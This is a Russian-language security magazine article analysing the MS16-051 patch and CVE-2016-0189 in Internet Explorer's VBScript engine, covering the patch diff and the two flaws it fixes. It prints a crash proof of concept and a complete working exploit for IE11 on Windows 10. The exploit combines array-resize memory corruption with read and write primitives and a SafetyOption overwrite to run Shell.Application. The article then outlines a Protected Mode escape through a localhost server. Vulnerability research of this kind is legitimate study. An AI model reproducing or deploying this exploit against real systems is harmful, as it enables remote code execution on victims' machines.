Содержание статьи

Патчи к Windows — замечательный источник пусть и уже закрытых, но по-прежнему интересных уязвимостей. Мы разберем патч MS16-051, который латает уязвимость, приводящую к повреждению памяти в скриптовом движке. Эксплоит позволяет использовать ее для выполнения произвольного кода.

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 22 июня 2016 года
Автор: Theori
CVE: CVE-2016-0189

Первым эту тему изучили и описали в своем блоге исследователи из коллектива Theori. Для анализа использовалась утилита BinDiff, исследовалась библиотека vbscript.dll.

Сравнение уязвимой и запатченной версий библиотеки vbscript.dll
Сравнение уязвимой и запатченной версий библиотеки vbscript.dll

На скриншоте заметно, что изменения коснулись только нескольких функций. Наиболее подозрительными выглядят исправления в функции AccessArray(). Проанализируем ее в IDA.

Анализ изменений в функции AccessArray()
Анализ изменений в функции AccessArray()

Как видишь, в патче добавили блокировку массива перед доступом к нему — на случай возникновения ошибок. Других изменений в этой функции нет.

Следующие изменения, связанные с безопасностью, нашлись в функции IsUnsafeAllowed(). Сравним ее апрельскую и майскую версии.

Псевдокод функции `IsUnsafeAllowed()` в версии за апрель
Псевдокод функции `IsUnsafeAllowed()` в версии за апрель
Псевдокод функции `IsUnsafeAllowed()` в версии за май
Псевдокод функции `IsUnsafeAllowed()` в версии за май

Снова изменения бросаются в глаза. В прошлой версии IsUnsafeAllowed() вызывала функцию, которая всегда возвращала ноль без рассмотрения политик, тогда как исправленная версия вызывает указатель на функцию, расположенную в QueryProtectedPolicyPtr. InitializeProtectedPolicy() инициализирует указатель на функцию, используя GetProcAddress.

Псевдокод функции InitializeProtectedPolicy()
Псевдокод функции InitializeProtectedPolicy()

Авторы смогли определить две уязвимости, которые были исправлены в этом патче. Давай теперь посмотрим, как ими воспользоваться для создания эксплоита.

 

EXPLOIT

Первая уязвимость — отсутствие блокировки SafeArray в AccessArray. В патче добавился код для блокировки массива, а это значит, что атакующий мог как-то модифицировать массив, что, вероятно, вело к несоответствию некоторых свойств (к примеру, cDims или cbElements).

...
while ( 1 )
{
  curVar = VAR::PvarCutAll(curVar_);
  if ( VT_I2 == curVar->vt )
  {
    v14 = curVar->iVal;
  }
  else if ( VT_I4 == curVar->vt )
  {
    v14 = curVar->lVal;
  }
  else
  {
    v22 = 0;
    v18 = rtVariantChangeTypeEx(curVar, &v22, 0x400, 2, 3u, v20, v21);
    if ( v18 < 0 )
      return CScriptRuntime::RecordHr(a4, v18, v19, v20, v21);
    v14 = v23;
  }
  v15 = v14 - v25->lLbound; // lLbound всегда 0
  if ( v15 < 0 || v15 >= v25->cElements )
    return CScriptRuntime::RecordHr(a4, 0x8002000B, v25, v20, v21);
  numDim = (numDim - 1);
  idx = v15 + v11;
  if ( numDim <= 0 )
    break;
  ++v25;
  v11 = v25->cElements * idx;
  curVar_ = (a4 + 16);
  a4 = (a4 + 16);
}
*v24 = arr->pvData + idx * arr->cbElements; // cbElements == 16
...

Код в основном цикле начинает с крайнего правого измерения индексов массива и использует их для вычисления указателя на данные. Заметь, что если тип Variant для индекса — VT_I2 или VT_I4, то значения читаются напрямую как short и long соответственно. Однако для любого другого типа Variant вызывается rtVariantChangeTypeEx для вычисления индекса. Когда эта функция получает объект JavaScript, она извлекает значение, вызывая под конец valueOf для этого объекта. Если предоставить ей объект с методом valueOf, то это даст возможность выполнять произвольный код на VBScript или JavaScript внутри rtVariantChangeTypeEx.

// Эксплоит и triggerBug определены в VBScript
var o;
o = {"valueOf": function () {
  triggerBug();
  return 1;
}};
setTimeout(function() {exploit(o);}, 50);

Мы можем использовать это для изменения размера массива, в котором находимся в текущий момент. К примеру, представим, что у нас есть двумерный массив.

ReDim Preserve A(1, 2000)

Когда мы получим доступ к массиву, например через A(1, 2), то idx в AccessArray будет рассчитываться как 1 + (2 * (2 - 0)), что равняется 5. Далее это число умножается на значение cbElements, которое всегда равно 16 (sizeof(VARIANT)). Результат добавляется к указателю на данные (pvData), и возвращаются значения по адресу A(1, 2).

В обычном случае это не ошибка, потому что выделенный буфер равен примерно 16 * 2 * 2001 == 64 032 байта. Тем не менее смещение окажется вне скоупа, если буфер изменится на меньший. Другими словами, мы можем получить доступ к A(1, 2), когда массив определен как A(1, 1).

Наш эксплоит будет перезаписывать память, освободившуюся в результате изменения размера массива. Это позволит нам создать VBScript и Variant для чтения и записи вне скоупа. Следующий шаг — получение адреса объекта, чтение памяти по этому адресу и запись в память при помощи многократного вызова ошибки.

Теперь рассмотрим вторую уязвимость — обход IsUnsafeAllowed().

До патча функция IsUnsafeAllowed() всегда возвращала единицу, потому что COleScript::OnEnterBreakPoint — это пустая функция, которая всегда возвращает ноль. В патче это было исправлено. Теперь QueryProtectedPolicy выполняется должным образом, если доступна в системе (она есть в версиях Windows 8.1 и выше).

По умолчанию Internet Explorer предотвращает запуск скриптов, которые могут навредить системе. Функция InSafeMode() проверяет флаг режима безопасности (по умолчанию 0xE), а также проводит проверку на небезопасные расширения — такие как Shell.Application. К счастью, мы узнаем, что IsUnsafeAllowed() всегда возвращает True, то есть мы можем изменить значение флага с помощью первой уязвимости.

Псевдокод функции InSafeMode()
Псевдокод функции InSafeMode()

Однако такой вариант не победит Protected Mode (песочницу) Internet Explorer. Поэтому мы рассмотрим пример обхода песочницы и запустим код с Medium Integrity Level.

Следующий пример кода вызывает падение Internet Explorer из-за обращения к памяти, которая больше не доступна. Размер второго массива изменяется на меньшее значение в процессе доступа к нему.

// скобки HTML-тегов заменены на квадратные из соображений безопасности
[meta http-equiv="x-ua-compatible" content="IE=10"]
[body]
  [script type="text/vbscript"]
    Dim aw

    Class ArrayWrapper
      Dim A()
      Private Sub Class_Initialize
        ReDim Preserve A(1, 20000)
      End Sub
      Public Sub Resize()
        ReDim Preserve A(1, 1)
      End Sub
    End Class

    Function crash (arg1)
      Set aw = New ArrayWrapper
      MsgBox aw.A(arg1, 20000)
    End Function

    Function triggerBug
      aw.Resize()
    End Function
  [/script]

  [script type="text/javascript"]
    alert(1);
    var o = {"valueOf": function () { triggerBug(); return 1; }};
    setTimeout(function() {crash(o);}, 50);
  [/script]
[/body]
Содержимое регистров при падении Internet Explorer после запуска в нем PoC
Содержимое регистров при падении Internet Explorer после запуска в нем PoC

Произвольные чтение и запись основных элементов — это мощный инструмент эксплуатации. Чтобы код эксплоита было легче читать, авторы обернули операции в понятные функции:

  • getAddr — вызывает уязвимость и «распыляет» объект, адрес которого мы хотим получить, затем ищет адрес в памяти;
  • leakMem — вызывает уязвимость и читает содержимое памяти по указанному адресу;
  • overwrite — вызывает уязвимость и перезаписывает память по указанному адресу с помощью variant CSng(0). Это ведет к нашей цели — получению Godmode путем изменения флага на 0x04.

Используя эти операции, мы можем сделать следующее:

  • создать простой экземпляр VBScriptClass;
  • получить адрес экземпляра класса;
  • вытащить адрес CSession из экземпляра класса;
  • вытащить адрес COleScript из экземпляра CSession;
  • перезаписать SafetyOption в COleScript.

Ниже приведен полный эксплоит для получения Godmode в Internet Explorer 11 для Windows 10.

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
  <script type="text/vbscript">
    Dim aw
    Dim plunge(32)
    Dim y(32)
    prefix = "%u4141%u4141"
    d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
    b = String(64000, "D")
    c = d & b
    x = UnEscape(c)

    Class ArrayWrapper
      Dim A()
      Private Sub Class_Initialize
        ' 2x2000 elements x 16 bytes / element = 64 000 bytes
        ReDim Preserve A(1, 2000)
      End Sub

      Public Sub Resize()
        ReDim Preserve A(1, 1)
      End Sub
    End Class

    Class Dummy
    End Class

    Function getAddr (arg1, s)
      aw = Null
      Set aw = New ArrayWrapper

      For i = 0 To 32
        Set plunge(i) = s
      Next

      Set aw.A(arg1, 2) = s

      Dim addr
      Dim i
      For i = 0 To 31
        If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
          addr = strToInt(Mid(y(i), 3 + 4, 2))
        End If
        y(i) = Null
      Next

      If addr = Null Then
        document.location.href = document.location.href
        Return
      End If

      getAddr = addr
    End Function

      Function leakMem (arg1, addr)
        d = prefix & "%u0008%u4141%u4141%u4141"
        c = d & intToStr(addr) & b
        x = UnEscape(c)

        aw = Null
        Set aw = New ArrayWrapper

        Dim o
        o = aw.A(arg1, 2)

        leakMem = o
      End Function

      Sub overwrite (arg1, addr)
        d = prefix & "%u400C%u0000%u0000%u0000"
        c = d & intToStr(addr) & b
        x = UnEscape(c)

        aw = Null
        Set aw = New ArrayWrapper

        ' Single has vartype of 0x04
        aw.A(arg1, 2) = CSng(0)
      End Sub

      Function exploit (arg1)
        Dim addr
        Dim csession
        Dim olescript
        Dim mem

        ' Create a VBScript class instance
        Set dm = New Dummy
        ' Get address of the class instance
        addr = getAddr(arg1, dm)
        ' Leak CSession address from class instance
        mem = leakMem(arg1, addr + 8)
        csession = strToInt(Mid(mem, 3, 2))
        ' Leak COleScript address from CSession instance
        mem = leakMem(arg1, csession + 4)
        olescript = strToInt(Mid(mem, 1, 2))
        ' Overwrite SafetyOption in COleScript (e.g. god mode)
        ' e. g. changes it to 0x04 which is not in 0x0B mask
        overwrite arg1, olescript + &H174

        ' Execute notepad.exe
        Set Object = CreateObject("Shell.Application")
        Object.ShellExecute "notepad"
      End Function

      Function triggerBug
        ' Resize array we are currently indexing
        aw.Resize()

        ' Overlap freed array area with our exploit string
        Dim i
        For i = 0 To 32
          ' 24 000 x 2 + 6 = 48 006 bytes
          y(i) = Mid(x, 1, 24000)
        Next
      End Function
  </script>

  <script type="text/javascript">
    function strToInt(s)
    {
      return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
    }
    function intToStr(x)
    {
      return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
    }
    var o;
    o = {"valueOf": function () {
      triggerBug();
      return 1;
    }};
    setTimeout(function() {exploit(o);}, 50);
  </script>
</body>
</html>

Пример успешной эксплуатации показан на скриншоте.

Может показаться, что дело сделано, но это не так. Многие багхантеры ограничились бы запуском calc.exe, но автор этого эксплоита пошел дальше. Дело в том, что даже с обходом SafeMode фильтры Protected Mode (песочницы) определяют, что можно исполнять из процесса Internet Explorer, а что нет.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy — это группа ключей реестра, которые описывают политику привилегий. Именно ей следует Protected Mode. Более подробно о Protected Mode и политике ты можешь прочитать в MSDN. Важно то, что для процесса calc.exe нет установленных правил. Это значит, что будет применяться политика «по умолчанию», а она велит запросить у пользователя разрешение перед запуском дочернего процесса с Medium Integrity Level.

Сравнение политик у процессов notepad.exe и cmd.exe
Сравнение политик у процессов notepad.exe и cmd.exe
Политика привилегий
Политика привилегий

Начиная с Windows 8.1 приложение «Калькулятор» относится к классу Modern и запускается в AppContainer. А вот приложения Wordpad.exe в реестре политики нет, так что можем проверить эксплоит на нем.

Окно при порождении процесса Wordpad.exe
Окно при порождении процесса Wordpad.exe

Процесс Wordpad.exe с Medium Integrity запустится только в том случае, если пользователь это разрешит.

Характеристики процесса Wordpad.exe после того, как пользователь разрешил запуск
Характеристики процесса Wordpad.exe после того, как пользователь разрешил запуск

Описанный эксплоит может выполнять небезопасный VBScript, но если дело ограничивается запуском notepad.exe с Medium Integrity, то пользы от такой бреши маловато. Поэтому автор нашел другую лазейку, которая позволяет выполнять произвольный код с нужными правами.

Несколько лет назад в ZDI зарепортили один баг, который в Microsoft посчитали слишком незначительным для того, чтобы латать. Однако этот трюк позволит нам выполнять произвольный код из процесса с Protected Mode.

Концепт этой идеи описан в блоге ZDI, но если вкратце, то основная идея следующая. Нужно открыть локальный сервер из процесса IE с Low Integrity, который будет служить вторым этапом эксплоита.

По умолчанию политика безопасности Internet Explorer настроена так, что интранет считается доверенной зоной, а localhost — это часть интранета. Таким образом, мы можем проэксплуатировать эту же уязвимость для выполнения кода или скрипта, но уже с Medium Integrity Level. Ниже представлен скриншот со схемой эксплуатации из статьи в блоге ZDI.

ZDI-14-270
ZDI-14-270

Для демонстрации обхода песочницы авторы эксплоита воспользовались некоторыми частями этого PoC. Финальный эксплоит для рассмотренной уязвимости опубликован на GitHub.

Демонстрация успешной эксплуатации уязвимости CVE-2016-0189
Демонстрация успешной эксплуатации уязвимости CVE-2016-0189

После публикации оригинальной статьи эксплоит из нее взяли на вооружение злоумышленники. Его «боевая» версия, которая работает через Flash, появилась в эксплоит-паках.

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии